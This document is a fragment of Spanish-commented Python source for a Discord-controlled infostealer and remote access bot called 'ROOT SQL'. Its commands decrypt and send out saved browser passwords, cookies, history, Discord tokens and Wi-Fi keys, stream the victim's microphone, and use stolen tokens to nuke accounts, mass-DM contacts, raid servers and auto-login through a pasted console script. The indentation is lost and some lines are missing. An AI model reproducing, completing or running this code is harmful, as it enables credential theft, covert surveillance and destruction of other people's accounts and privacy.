"firefox": os.path.expanduser("~") + r"\\AppData\\Roaming\\Mozilla\\Firefox\\
Profiles\\*.default-release\\places.sqlite",
"opera": os.path.expanduser("~") + r"\\AppData\\Roaming\\Opera Software\\Opera
Stable\\History",
"brave": os.path.expanduser("~") + r"\\AppData\\Local\\BraveSoftware\\Brave-
Browser\\User Data\\Default\\History",
"vivaldi": os.path.expanduser("~") + r"\\AppData\\Local\\Vivaldi\\User Data\\
Default\\History"
}
def get_browser_history(browser):
try:
if browser == "edge":
history_path = browser_paths["edge"]
elif browser == "chrome":
history_path = browser_paths["chrome"]
elif browser == "firefox":
history_path = browser_paths["firefox"]
elif browser == "opera":
history_path = browser_paths["opera"]
elif browser == "brave":
history_path = browser_paths["brave"]
elif browser == "vivaldi":
history_path = browser_paths["vivaldi"]
else:
return None
if not os.path.exists(history_path):
return None
temp_db = f"{browser}_history_copy"
shutil.copy2(history_path, temp_db)
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
history = []
for row in cursor.fetchall():
history.append(f"URL: {row[0]} | Titulo: {row[1]} | Visitas: {row[2]}")
conn.close()
os.remove(temp_db)
return history
except Exception as e:
pass
return None
@bot.command()
async def historial(ctx, navegador: str):
"""Comando que extrae el historial del navegador y lo envia como
archivo .txt"""
history = get_browser_history(navegador)
if history:
file_name = f"{navegador}_history.txt"
with open(file_name, 'w', encoding='utf-8') as f:
for entry in history:
f.write(entry + "\n")
embed = discord.Embed(
title=f"Historial de {navegador.capitalize()}",
description="```Historial del pajero ese```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed, file=discord.File(file_name))
os.remove(file_name)
else:
await ctx.send(f"No se pudo obtener el historial de
{navegador.capitalize()}. Asegurate de que el navegador esté instalado y el
historial sea accesible.")
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
'Discord': ROAMING + '\\discord',
'Discord Canary': ROAMING + '\\discordcanary',
'Lightcord': ROAMING + '\\Lightcord',
'Discord PTB': ROAMING + '\\discordptb',
'Opera': ROAMING + '\\Opera Software\\Opera Stable',
'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
'Amigo': LOCAL + '\\Amigo\\User Data',
'Torch': LOCAL + '\\Torch\\User Data',
'Kometa': LOCAL + '\\Kometa\\User Data',
'Orbitum': LOCAL + '\\Orbitum\\User Data',
'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
'7Star': LOCAL + '\\7Star\\7Star\\User Data',
'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
'Chrome': LOCAL + "\\Google\\Chrome\\User Data\\Default",
'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Default',
'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
}
def enc(path):
try:
with open(path + "\\Local State", "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
[5:]
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
except:
return None
def dec(encrypted, key):
try:
encrypted = encrypted[3:]
iv = encrypted[:12]
payload = encrypted[12:-16]
tag = encrypted[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
return cipher.decrypt_and_verify(payload, tag).decode()
except:
return None
def get_user_info(token):
"""Obtener informacion completa del usuario de Discord"""
try:
headers = {"Authorization": token}
# Informacion adicional
user_info = {
'username': user_data.get('username', 'Unknown'),
'discriminator': user_data.get('discriminator', '0000'),
'id': user_data.get('id', 'Unknown'),
'email': user_data.get('email', 'No verificado'),
'verified': user_data.get('verified', False),
'phone': user_data.get('phone', 'No verificado'),
'avatar': user_data.get('avatar', None),
'banner': user_data.get('banner', None),
'accent_color': user_data.get('accent_color', None),
'premium_type': user_data.get('premium_type', 0), # 0=None,
1=Nitro Classic, 2=Nitro
'public_flags': user_data.get('public_flags', 0),
'flags': user_data.get('flags', 0)
}
user_info['nitro'] = nitro_info
return user_info
except:
pass
return None
def ext():
found = []
for _, path in PATHS.items():
if not os.path.exists(path):
continue
key = enc(path)
if not key:
continue
@bot.command(name="tokens")
async def stealtokens(ctx):
try:
results = ext()
if results:
embed = discord.Embed(
title="`ROOT SQL - TOKENS DC`",
color=0x000000
)
for result in results:
user_info = result['user_info']
token = result['token']
# Avatar URL
avatar_url =
f"https://cdn.discordapp.com/avatars/{user_info['id']}/{user_info['avatar']}.png"
if user_info['avatar'] else "https://cdn.discordapp.com/embed/avatars/0.png"
embed.add_field(
name=f"{user_info['username']}#{user_info['discriminator']}",
value=f"```ID: {user_info['id']}\nEmail: {user_info['email']}\
nNitro: {user_info['nitro']}\nVerificado: {'Si' if user_info['verified'] else
'No'}\nAmigos: {len(user_info['friends'])}\nServidores: {len(user_info['guilds'])}\
n\nToken: {token}```",
inline=False
)
await ctx.send(embed=embed)
else:
await ctx.send("No se encontraron tokens. :skull:")
except Exception as e:
await ctx.send(f"Error: {str(e)}")
FILES_PER_PAGE = 10
BROWSER_PATHS = {
"chrome": {
"local_state": r"%LOCALAPPDATA%\Google\Chrome\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
},
"edge": {
"local_state": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data"
},
"brave": {
"local_state": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Local
State",
"login_data": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\
Default\Login Data"
},
"opera": {
"local_state": r"%APPDATA%\Opera Software\Opera Stable\Local State",
"login_data": r"%APPDATA%\Opera Software\Opera Stable\Login Data"
},
"opera_gx": {
"local_state": r"%APPDATA%\Opera Software\Opera GX Stable\Local State",
"login_data": r"%APPDATA%\Opera Software\Opera GX Stable\Login Data"
},
"vivaldi": {
"local_state": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Local State",
"login_data": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Login Data"
},
"yandex": {
"local_state": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Local
State",
"login_data": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login
Data"
},
"chromium": {
"local_state": r"%LOCALAPPDATA%\Chromium\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Chromium\User Data\Default\Login Data"
}
}
close_browser(browser)
temp_db = f"{browser}_LoginDataCopy.db"
try:
shutil.copy2(db_path, temp_db)
except Exception:
return None
master_key = get_master_key(browser)
if not master_key:
return None
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
try:
cursor.execute("SELECT origin_url, username_value, password_value FROM
logins")
except Exception:
conn.close()
os.remove(temp_db)
return None
data = []
for origin_url, username, password_encrypted in cursor.fetchall():
password = decrypt_password(password_encrypted, master_key)
if password:
data.append({
"website": origin_url,
"username": username,
"password": password
})
cursor.close()
conn.close()
os.remove(temp_db)
def extract_cookies_data(browser):
cookie_paths = {
"chrome": r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies",
"edge": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies",
"brave": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\
Cookies",
"opera": r"%APPDATA%\Opera Software\Opera Stable\Cookies",
"opera_gx": r"%APPDATA%\Opera Software\Opera GX Stable\Cookies",
"vivaldi": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Cookies",
"yandex": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Cookies",
"chromium": r"%LOCALAPPDATA%\Chromium\User Data\Default\Cookies"
}
close_browser(browser)
temp_db = f"{browser}_CookiesCopy.db"
try:
shutil.copy2(cookie_path, temp_db)
except Exception:
return None
master_key = get_master_key(browser)
if not master_key:
return None
cookies = []
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
try:
cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc,
is_secure, is_httponly FROM cookies")
for host_key, name, encrypted_value, path, expires_utc, is_secure,
is_httponly in cursor.fetchall():
decrypted = decrypt_password(encrypted_value, master_key)
if decrypted is not None:
cookies.append({
"domain": host_key,
"name": name,
"value": decrypted,
"path": path,
"expires": int(expires_utc / 1000000 - 11644473600), #
convertir de WebKit a Unix timestamp
"secure": bool(is_secure),
"httpOnly": bool(is_httponly)
})
except Exception:
pass
cursor.close()
conn.close()
os.remove(temp_db)
return cookies if cookies else None
def get_wifi_networks():
try:
# Redes guardadas
output = subprocess.check_output("netsh wlan show profiles", shell=True,
encoding='cp1252')
profiles = re.findall(r"Perfil de todos los usuarios\s*: (.+)", output)
redes_guardadas = []
for profile in profiles:
try:
profile_info = subprocess.check_output(f'netsh wlan show profile
name="{profile}" key=clear', shell=True, encoding='cp1252')
password_search = re.search(r"Contenido de la clave\s*: (.+)",
profile_info)
password = password_search.group(1) if password_search else "?"
except subprocess.CalledProcessError:
password = "Error al obtener la contraseña"
redes_guardadas.append({"name": profile, "password": password})
return {
"saved_networks": redes_guardadas,
"available_networks": redes_disponibles
}
except Exception as e:
logger.error(f"Error al obtener redes Wi-Fi: {e}")
return None
@bot.command(name="cookies")
async def extract_cookies_command(ctx):
try:
password_channel = discord.utils.get(ctx.guild.text_channels, name="001")
if not password_channel:
await ctx.send("No se encontro el canal `cookies`.")
return
if cookies_data:
# Crear archivo JSON con todas las cookies
json_data = json.dumps(cookies_data, indent=4, ensure_ascii=False)
json_file = "all_cookies_extracted.json"
with open(json_file, "w", encoding="utf-8") as f:
f.write(json_data)
current_browser = ""
for cookie in cookies_data:
if cookie['browser'] != current_browser:
current_browser = cookie['browser']
f.write(f"\n[{current_browser.upper()}] - Profile:
{cookie['profile']}\n")
f.write("-" * 40 + "\n")
f.write(f"Host: {cookie['host']}\n")
f.write(f"Name: {cookie['name']}\n")
f.write(f"Value: {cookie['value']}\n")
f.write(f"Path: {cookie['path']}\n")
f.write(f"Secure: {cookie['secure']}\n")
f.write(f"HttpOnly: {cookie['httponly']}\n")
f.write("-" * 20 + "\n")
embed = discord.Embed(
title="ROOT SQL - COOKIES EXTRAiDAS",
description=f"```Se extrajeron {len(cookies_data)} cookies de todos
los navegadores```",
color=0x121212
)
embed.set_footer(text="ROOT SQL")
embed.timestamp = discord.utils.utcnow()
await password_channel.send(
embed=embed,
files=[
discord.File(json_file, filename="cookies_extracted.json"),
discord.File(csv_file, filename="cookies_extracted.csv"),
discord.File(txt_file, filename="cookies_extracted.txt")
]
)
final_embed = discord.Embed(
title="ROOT SQL - COOKIES",
description="```Las cookies fueron enviadas al canal #cookies```",
color=0x121212
)
final_embed.set_footer(text="ROOT SQL")
final_embed.timestamp = discord.utils.utcnow()
await ctx.send(embed=final_embed)
else:
await ctx.send("No se encontraron cookies en ningun navegador.")
except Exception as e:
await ctx.send("Ocurrio un error inesperado al extraer cookies.")
@bot.command(name="passwords")
async def password(ctx):
try:
password_channel = discord.utils.get(ctx.guild.text_channels, name="001")
if not password_channel:
await ctx.send("No se encontro el canal `cookies`.")
return
navegadores_encontrados = False
if result_pass:
navegadores_encontrados = True
json_file = f"{browser}_passwords.json"
with open(json_file, "w", encoding="utf-8") as f:
f.write(json_data)
csv_file = f"{browser}_passwords.csv"
with open(csv_file, "w", newline='', encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=["website", "username",
"password"])
writer.writeheader()
writer.writerows(result_pass)
embed = discord.Embed(
title=f"Contraseñas de {browser.capitalize()}",
description="```Ya podes ver todo del gil este```",
color=0x121212
)
embed.set_footer(text="ROOT SQL")
embed.timestamp = discord.utils.utcnow()
await password_channel.send(
embed=embed,
files=[
discord.File(json_file,
filename=f"{browser}_passwords.json"),
discord.File(csv_file, filename=f"{browser}_passwords.csv")
]
)
try:
os.remove(json_file)
os.remove(csv_file)
except Exception as e:
pass
if not navegadores_encontrados:
await ctx.send("No se encontraron contraseñas en ningun navegador.")
return
final_embed = discord.Embed(
title="ROOT SQL - PASSWORD",
description="```Las contraseñas fueron enviadas al canal #cookies```",
color=0x121212
)
final_embed.set_footer(text="ROOT SQL")
final_embed.timestamp = discord.utils.utcnow()
await ctx.send(embed=final_embed)
except Exception as e:
pass
await ctx.send("Ocurrio un error inesperado. Revisa la consola.")
@bot.command()
async def red(ctx):
try:
wifi_data = get_wifi_networks()
if not wifi_data:
await ctx.send("No se pudo obtener la informacion de redes Wi-Fi.")
return
available_wifi_text = "\n".join(wifi_data["available_networks"]) if
wifi_data["available_networks"] else "No se encontraron redes disponibles."
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"Error al obtener redes Wi-Fi: {e}")
# Variables globales
voice_client = None
audio_task = None
is_streaming = False
# Configuracion de audio
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 48000
class AudioStreamer:
def __init__(self):
self.p = pyaudio.PyAudio()
self.stream = None
self.is_streaming = False
def get_input_devices(self):
devices = []
for i in range(self.p.get_device_count()):
device_info = self.p.get_device_info_by_index(i)
if device_info['maxInputChannels'] > 0:
devices.append({
'index': i,
'name': device_info['name'],
'channels': device_info['maxInputChannels'],
'rate': int(device_info['defaultSampleRate'])
})
return devices
try:
self.stream = self.p.open(
format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
input_device_index=device_index,
frames_per_buffer=CHUNK
)
return True
except Exception as e:
pass
return False
def read_audio(self):
if self.stream and self.is_streaming:
try:
data = self.stream.read(CHUNK, exception_on_overflow=False)
# Convertir a numpy array para procesar
audio_data = np.frombuffer(data, dtype=np.int16)
# Convertir de vuelta a bytes
return audio_data.tobytes()
except Exception as e:
pass
return None
return None
def stop_streaming(self):
self.is_streaming = False
if self.stream:
self.stream.stop_stream()
self.stream.close()
self.stream = None
audio_streamer = AudioStreamer()
class AudioSource(discord.AudioSource):
def __init__(self, streamer):
self.streamer = streamer
def read(self):
return self.streamer.read_audio()
while is_streaming:
try:
if not voice_client.is_playing():
voice_client.play(source)
await asyncio.sleep(0.01) # Pequeño delay para no saturar
except Exception as e:
pass
break
@bot.command(name='audio')
async def start_audio(ctx, device_name=None):
global voice_client, audio_task, is_streaming
voice_channel_id = 1402561911752622123
channel = bot.get_channel(voice_channel_id)
if not channel:
embed = discord.Embed(description="No se encontro el canal de voz",
color=0x000000)
await ctx.send(embed=embed)
return
if not devices:
embed = discord.Embed(description="No se encontraron dispositivos de
entrada", color=0x000000)
await ctx.send(embed=embed)
return
# Seleccionar dispositivo
selected_device = None
device_index = None
if device_name:
# Buscar por nombre parcial
for device in devices:
if device_name.lower() in device['name'].lower():
selected_device = device
device_index = device['index']
break
if not selected_device:
# Mostrar dispositivos disponibles
device_list = "\n".join([f"**{i+1}:** {dev['name']}" for i, dev in
enumerate(devices)])
embed = discord.Embed(
title="Dispositivo no encontrado",
description=f"Dispositivos disponibles:\n{device_list}",
color=0x000000
)
await ctx.send(embed=embed)
return
else:
# Usar dispositivo por defecto
selected_device = devices[0]
device_index = selected_device['index']
try:
# Detener transmision anterior si existe
if is_streaming:
audio_streamer.stop_streaming()
is_streaming = False
if audio_task:
audio_task.cancel()
# Iniciar streaming
if audio_streamer.start_streaming(voice_client, device_index):
is_streaming = True
audio_task = asyncio.create_task(audio_loop(voice_client))
embed = discord.Embed(
title="Audio iniciado",
description=f"**Canal:** {channel.name}\n**Microfono:**
{selected_device['name']}\n**Canales:** {selected_device['channels']}\
n**Frecuencia:** {selected_device['rate']} Hz",
color=0x000000
)
await ctx.send(embed=embed)
else:
embed = discord.Embed(description="Error al inicializar el streaming de
audio", color=0x000000)
await ctx.send(embed=embed)
except Exception as e:
embed = discord.Embed(description=f"Error al conectar: {str(e)}",
color=0x000000)
await ctx.send(embed=embed)
@bot.command(name='stopaudio')
async def stop_audio(ctx):
global voice_client, audio_task, is_streaming
try:
# Detener streaming
is_streaming = False
audio_streamer.stop_streaming()
except Exception as e:
embed = discord.Embed(description=f"Error al desconectar: {str(e)}",
color=0x000000)
await ctx.send(embed=embed)
@bot.command(name='micros')
async def list_microphones(ctx):
devices = audio_streamer.get_input_devices()
if not devices:
embed = discord.Embed(description="No se encontraron dispositivos de
entrada", color=0x000000)
await ctx.send(embed=embed)
return
device_list = ""
for i, device in enumerate(devices):
device_list += f"**{i+1}.** {device['name']}\n"
device_list += f" Canales: {device['channels']} | Frecuencia:
{device['rate']} Hz\n\n"
embed = discord.Embed(
title="Microfonos disponibles",
description=device_list,
color=0x000000
)
embed.add_field(
name="Uso",
value="`.audio nombre_del_micro` para seleccionar",
inline=False
)
await ctx.send(embed=embed)
@bot.command(name="trollblock")
async def discord_token_block_friends(ctx, token: str):
"""Bloquear todos los amigos de un token de Discord"""
try:
headers = {"Authorization": token}
# Bloquear amigo
block_res = requests.put(
f"https://discord.com/api/v9/users/@me/relationships/{friend_id}",
headers=headers,
json={"type": 2} # Tipo 2 = bloqueado
)
if block_res.status_code == 204:
blocked_count += 1
await asyncio.sleep(0.5) # Delay para evitar rate limit
embed = discord.Embed(
title="🔥 TROLL BLOCK FRIENDS",
description=f"```✅ Se bloquearon {blocked_count} amigos
exitosamente```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolldeldm")
async def discord_token_delete_dm(ctx, token: str):
"""Eliminar todos los DMs de un token"""
try:
headers = {"Authorization": token}
# Obtener canales DM
channels_res =
requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers)
if channels_res.status_code != 200:
await ctx.send("❌ Token invalido")
return
channels = channels_res.json()
deleted_count = 0
if delete_res.status_code == 200:
deleted_count += 1
await asyncio.sleep(0.3)
embed = discord.Embed(
title="💀 TROLL DELETE DMS",
description=f"```✅ Se eliminaron {deleted_count} conversaciones DM```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolldelfriends")
async def discord_token_delete_friends(ctx, token: str):
"""Eliminar todos los amigos de un token"""
try:
headers = {"Authorization": token}
# Obtener amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code != 200:
await ctx.send("❌ Token invalido")
return
friends = friends_res.json()
deleted_count = 0
# Eliminar amigo
delete_res = requests.delete(
f"https://discord.com/api/v9/users/@me/relationships/{friend_id}",
headers=headers
)
if delete_res.status_code == 204:
deleted_count += 1
await asyncio.sleep(0.4)
embed = discord.Embed(
title="💔 TROLL DELETE FRIENDS",
description=f"```✅ Se eliminaron {deleted_count} amigos```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollgen")
async def discord_token_generator(ctx):
"""Generar tokens falsos de Discord (troll)"""
fake_tokens = []
for i in range(5):
# Generar token fake que parece real
part1 = base64.b64encode(str(random.randint(100000000000000000,
999999999999999999)).encode()).decode()
part2 =
''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456
789-_', k=6))
part3 =
''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456
789-_', k=27))
fake_token = f"{part1}.{part2}.{part3}"
fake_tokens.append(fake_token)
embed = discord.Embed(
title="🎭 FAKE TOKEN GENERATOR",
description="```⚠️ ESTOS TOKENS SON FALSOS - SOLO PARA TROLLEAR```",
color=0xffff00
)
await ctx.send(embed=embed)
@bot.command(name="trollhouse")
async def discord_token_house_changer(ctx, token: str, house: str):
"""Cambiar casa de Hypesquad"""
houses = {
"bravery": 1,
"brilliance": 2,
"balance": 3
}
try:
headers = {"Authorization": token}
# Cambiar casa
house_res = requests.post(
"https://discord.com/api/v9/hypesquad/online",
headers=headers,
json={"house_id": houses[house.lower()]}
)
if house_res.status_code == 204:
embed = discord.Embed(
title="🏠 HOUSE CHANGER",
description=f"```✅ Casa cambiada a {house.upper()}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🏠 HOUSE CHANGER",
description="```❌ Error al cambiar casa```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollinfo")
async def discord_token_info(ctx, token: str):
"""Obtener informacion detallada de un token"""
try:
headers = {"Authorization": token}
user_data = user_res.json()
# Info de billing
billing_res =
requests.get("https://discord.com/api/v9/users/@me/billing/payment-sources",
headers=headers)
has_payment = billing_res.status_code == 200 and len(billing_res.json()) >
0
# Info de guilds
guilds_res = requests.get("https://discord.com/api/v9/users/@me/guilds",
headers=headers)
guild_count = len(guilds_res.json()) if guilds_res.status_code == 200 else
0
# Info de amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
friend_count = len([f for f in friends_res.json() if f.get('type') == 1])
if friends_res.status_code == 200 else 0
embed = discord.Embed(
title="🔍 TOKEN INFO COMPLETA",
color=0x7289da
)
embed.add_field(
name="👤 Usuario",
value=f"```{user_data['username']}#{user_data['discriminator']}```",
inline=True
)
embed.add_field(
name="🆔 ID",
value=f"```{user_data['id']}```",
inline=True
)
embed.add_field(
name="📧 Email",
value=f"```{user_data.get('email', 'No verificado')}```",
inline=True
)
embed.add_field(
name="💎 Nitro",
value=f"```{'Si' if user_data.get('premium_type', 0) > 0 else
'No'}```",
inline=True
)
embed.add_field(
name="💳 Método de Pago",
value=f"```{'Si' if has_payment else 'No'}```",
inline=True
)
embed.add_field(
name="🏰 Servidores",
value=f"```{guild_count}```",
inline=True
)
embed.add_field(
name="👥 Amigos",
value=f"```{friend_count}```",
inline=True
)
embed.add_field(
name="✅ Verificado",
value=f"```{'Si' if user_data.get('verified', False) else 'No'}```",
inline=True
)
embed.add_field(
name="🔗 Token",
value=f"```{token[:50]}...```",
inline=False
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolljoin")
async def discord_token_joiner(ctx, token: str, invite_code: str):
"""Unirse a un servidor con token"""
try:
headers = {"Authorization": token}
# Unirse al servidor
join_res = requests.post(
f"https://discord.com/api/v9/invites/{invite_code}",
headers=headers
)
if join_res.status_code == 200:
guild_data = join_res.json()
embed = discord.Embed(
title="🚀 SERVER JOINER",
description=f"```✅ Unido al servidor: {guild_data['guild']
['name']}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🚀 SERVER JOINER",
description="```❌ Error al unirse al servidor```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolllang")
async def discord_token_language_changer(ctx, token: str, language: str):
"""Cambiar idioma de Discord"""
languages = {
"en": "en-US",
"es": "es-ES",
"fr": "fr",
"de": "de",
"it": "it",
"pt": "pt-BR",
"ru": "ru",
"ja": "ja",
"ko": "ko",
"zh": "zh-CN"
}
try:
headers = {"Authorization": token}
# Cambiar idioma
lang_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json={"locale": languages[language.lower()]}
)
if lang_res.status_code == 200:
embed = discord.Embed(
title="🌍 LANGUAGE CHANGER",
description=f"```✅ Idioma cambiado a {language.upper()}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🌍 LANGUAGE CHANGER",
description="```❌ Error al cambiar idioma```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollleave")
async def discord_token_leaver(ctx, token: str, guild_id: str = None):
"""Salir de servidores"""
try:
headers = {"Authorization": token}
if guild_id:
# Salir de un servidor especifico
leave_res = requests.delete(
f"https://discord.com/api/v9/users/@me/guilds/{guild_id}",
headers=headers
)
if leave_res.status_code == 204:
embed = discord.Embed(
title="🚪 SERVER LEAVER",
description="```✅ Saliste del servidor```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🚪 SERVER LEAVER",
description="```❌ Error al salir del servidor```",
color=0xff0000
)
else:
# Salir de todos los servidores
guilds_res =
requests.get("https://discord.com/api/v9/users/@me/guilds", headers=headers)
if guilds_res.status_code != 200:
await ctx.send("❌ Token invalido")
return
guilds = guilds_res.json()
left_count = 0
f"https://discord.com/api/v9/users/@me/guilds/{guild['id']}",
headers=headers
)
if leave_res.status_code == 204:
left_count += 1
await asyncio.sleep(0.5)
embed = discord.Embed(
title="🚪 MASS SERVER LEAVER",
description=f"```✅ Saliste de {left_count} servidores```",
color=0x00ff00
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolllogin")
async def discord_token_login(ctx, token: str):
"""Generar link de login con token"""
try:
# Crear script de auto-login
login_script = f"""
// ROOT SQL Auto Login
setInterval(() => {{
document.body.appendChild(document.createElement('iframe')).contentWindow.localStor
age.token = '"{token}"';
location.reload();
}}, 2500);
"""
embed = discord.Embed(
title="🔐 DISCORD AUTO LOGIN",
description="```✅ Script de auto-login generado```",
color=0x7289da
)
embed.add_field(
name="📝 Instrucciones",
value="```1. Descarga 'discord_login.js'\n2. Abre
https://discord.com/login en tu navegador\n3. F12 o clic derecho > Inspeccionar >
pestaña Console\n4. Si aparece una advertencia, escribe: allow pasting\n5. Copia y
pega el contenido del archivo\n6. Presiona Enter y espera unos segundos```",
inline=False
)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollmassdm")
async def discord_token_mass_dm(ctx, token: str, *, message: str):
"""Enviar DM masivo a todos los amigos"""
try:
headers = {"Authorization": token}
# Obtener amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code != 200:
await ctx.send("❌ Token invalido")
return
friends = friends_res.json()
sent_count = 0
# Crear DM
dm_res = requests.post(
"https://discord.com/api/v9/users/@me/channels",
headers=headers,
json={"recipient_id": friend_id}
)
if dm_res.status_code == 200:
channel_id = dm_res.json()['id']
# Enviar mensaje
msg_res = requests.post(
f"https://discord.com/api/v9/channels/{channel_id}/messages",
headers=headers,
json={"content": message}
)
if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(1) # Delay para evitar rate limit
embed = discord.Embed(
title="📨 MASS DM SENDER",
description=f"```✅ Mensaje enviado a {sent_count} amigos```",
color=0x00ff00
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollnuke")
async def discord_token_nuker(ctx, token: str):
"""Nukear cuenta de Discord (EXTREMO)"""
try:
headers = {"Authorization": token}
embed = discord.Embed(
title="☢️ DISCORD ACCOUNT NUKER",
description="```⚠️ ESTO DESTRUIRa LA CUENTA COMPLETAMENTE```",
color=0xff0000
)
# Cambiar configuraciones
settings_data = {
"theme": "light",
"locale": "ja",
"message_display_compact": True,
"inline_attachment_media": False,
"inline_embed_media": False,
"gif_auto_play": False,
"render_embeds": False,
"render_reactions": False,
"animate_emoji": False,
"enable_tts_command": True,
"developer_mode": True
}
requests.patch("https://discord.com/api/v9/users/@me/settings",
headers=headers, json=settings_data)
# Eliminar amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code == 200:
for friend in friends_res.json():
if friend.get('type') == 1:
requests.delete(f"https://discord.com/api/v9/users/@me/relationships/
{friend['user']['id']}", headers=headers)
await asyncio.sleep(0.2)
# Salir de servidores
guilds_res = requests.get("https://discord.com/api/v9/users/@me/guilds",
headers=headers)
if guilds_res.status_code == 200:
for guild in guilds_res.json():
if not guild.get('owner', False):
requests.delete(f"https://discord.com/api/v9/users/@me/guilds/{guild['id']}",
headers=headers)
await asyncio.sleep(0.3)
# Cerrar DMs
channels_res =
requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers)
if channels_res.status_code == 200:
for channel in channels_res.json():
requests.delete(f"https://discord.com/api/v9/channels/{channel['id']}",
headers=headers)
await asyncio.sleep(0.2)
embed.add_field(
name="💀 Destruccion Completa",
value="```✅ Cuenta nukeada exitosamente\n- Configuraciones cambiadas\n-
Amigos eliminados\n- Servidores abandonados\n- DMs cerrados```",
inline=False
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollraid")
async def discord_token_server_raid(ctx, token: str, guild_id: str, *, message:
str):
"""Raid a un servidor especifico"""
try:
headers = {"Authorization": token}
f"https://discord.com/api/v9/channels/{channel['id']}/messages",
headers=headers,
json={"content": message}
)
if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(0.5)
except:
continue
embed = discord.Embed(
title="⚡ SERVER RAIDER",
description=f"```✅ Mensaje enviado a {sent_count} canales```",
color=0xff6600
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollspam")
async def discord_token_spammer(ctx, token: str, channel_id: str, *, message: str):
"""Spam en un canal especifico"""
try:
headers = {"Authorization": token}
sent_count = 0
# Enviar 20 mensajes
for i in range(20):
msg_res = requests.post(
f"https://discord.com/api/v9/channels/{channel_id}/messages",
headers=headers,
json={"content": f"{message}"}
)
if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(0.1)
else:
break
embed = discord.Embed(
title="💥 CHANNEL SPAMMER",
description=f"```✅ {sent_count} mensajes enviados```",
color=0xff3300
)
await ctx.send(embed=embed)
except Exception as e:
